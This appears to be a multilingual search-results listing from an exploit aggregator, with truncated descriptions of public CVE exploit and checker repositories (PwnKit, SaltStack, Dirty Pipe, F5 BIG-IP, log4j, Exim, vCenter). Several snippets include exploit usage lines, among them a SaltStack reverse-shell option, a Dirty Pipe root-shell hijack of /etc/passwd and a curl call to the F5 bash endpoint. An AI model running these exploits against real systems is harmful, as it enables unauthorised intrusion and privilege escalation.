1299498 matches found
CVE-2021-4034
CVE-2021-4034 Script bash autonomo, basta eseguirlo e pwn! con riferimento al post del blog di Qualys https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...
CVE-2019-10149
CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf Crea utente e gruppo exim sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim Installa le dipendenze sudo apt-get update sudo apt-get install -y make build-essential...
SaltStack-Exp
SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...
CVE-2021-22006
CVE-2021-22005 - VMWare vCenter Server Caricamento di file verso RCE Analisi Utilizzo root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky686163...
CVE-2022-1292
CVE-2022-1292 bash chack.sh...
joomla-cve-2018-6396
Joomla-CVE-2018-6396 Componente Joomla! Google Map Landkarten = 4.2.3 - SQL Injection Data: 03/03/2018 Homepage del produttore: http://www.joomla-24.de/ Link del software: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/google-map-landkarten/ Versione: = 4.2.3...
lunasec
LunaTrace LunaTrace è uno strumento open source per la sicurezza della supply chain e l'auditing. Al suo cuore c'è una console web che traccia i tuoi progetti e le loro dipendenze, cercando vulnerabilità e altri problemi. Questa console è fornita come SAAS disponibile qui gratuitamente oppure puo...
OpenSSH-Vulnerability-test
OpenSSH CVE-2024-6387-Schwachstellen-Checker Überblick Dieses C-Programm scannt bestimmte IP-Adressen oder Netzwerkbereiche, um zu prüfen, ob die Server eine potenziell verwundbare Version von OpenSSH ausführen. Es prüft, ob der SSH-Port Standard ist 22 geöffnet ist, ruft das SSH-Banner ab und...
CVE-2026-14494
creationtimestamp| type| source ---|---|--- 2026-08-29 12:16:38+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/2mkzqg2ddocgr 2026-08-29 13:00:23+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mu7wnhhbck26 2026-08-29 14:07:07+00:00| seen|...
dirtyPipe-automaticRoot
Dirty Pipe automatischer Root-Exploit CVE-2022-0847 Abhängigkeiten: Python 3.10 oder höher Verwendung: Automatischer Root: root@kitploit: $ python3.10 dirtyPipe.py -a + Hijacking des Superusers in /etc/passwd + Abwerfen der Shell Schreiben in eine Datei ohne Schreibberechtigung, unveränderliche...
CVE-2022-44789
CVE-2022-44789 Files: PublicReferenceURL.txt: riferimento pubblico per CVE writeup.md: Writeup + exploit attachment: Versione vulnerabile di MuJS + exploit di esempio...
CVE-2022-21449-vuln-test
Tester di vulnerabilità CVE-2022-21449 Introduzione C'è un nuovo CVE-2022-21449 che presenta un bug nella verifica delle firme ECDSA. È uno degli algoritmi utilizzati con JWT, ad esempio. Citando il post del blog Se hai implementato Java 15, Java 16, Java 17 o Java 18 in produzione, dovresti...
CVE-2019-3403
CVE-2019-3403 Volevo poter sfruttare facilmente CVE-2019-3403 per raccogliere tutti gli utenti da un'applicazione JIRA, quindi ho messo insieme questo script. Non è il codice più pulito in assoluto e non gestisce richieste che restituiscono oltre 1000 utenti li troncherà semplicemente ai primi...
Zurmo-Stable-3.1.1-XSS-By-Provensec-LLC
Zurmo-Stable-3.1.1-XSS-By-Provensec-LLC Zurmo-Stable-3.1.1 Cross Site Scripting XSS Numero CVE assegnato: CVE-2017-7188...
log4j-cve-2021-44228-sample
Exemplo de exploit log4j Este repositório contém um exemplo funcional de abuso da recente vulnerabilidade log4j. Ele não executa código remoto real, mas mostra a facilidade com que um ator malicioso pode fazer com que uma aplicação vulnerável chame seu próprio servidor ldap. Este exemplo utiliza ...
ghost-checker
ghost-checker Verifica se sei esposto a ghost CVE-2015-0235. Tutti i ringraziamenti vanno a Qualys Security Utilizzo root@kitploit: /tmp/ghost-checker master$ make cc -o ghost ghost.c /tmp/ghost-checker master$ ./ghost not vulnerable /tmp/ghost-checker master$ make clean rm ghost Crediti Qualys...
CVE-2022-1388-RCE-checker-and-POC-Exploit
Verificatore RCE CVE-2022-1388 Semplice script bash per verificare la RCE CVE-2022-1388 F5 BIG-IP. + Utilizzo: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Non dimenticare di cambiare l'indirizzo IP root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d...
CVE-2023-38829-NETIS-WF2409E_Report
Report del dispositivo Netis WF2409E 1. Panoramica del dispositivo 1.1 Tabella delle specifiche principali Categoria| Parametro| Descrizione ---|---|--- Informazioni sul dispositivo| Modello| Netis WF2409E | Tipo| 300Mbps Wireless N Router | Alimentazione| DC 9V/500mA | Versione hardware| V1.8 |...
CVE-2023-50164
CVE-2023-50164 Uno strumento di scansione e PoC per CVE-2023-50164 Considerazioni Lo sfruttamento di CVE-2023-50164 è molto specifico per l'ambiente. Questo PoC tenta di generalizzare il processo di sfruttamento richiedendo all'utente di inserire i dettagli specifici dell'ambiente tramite i flag...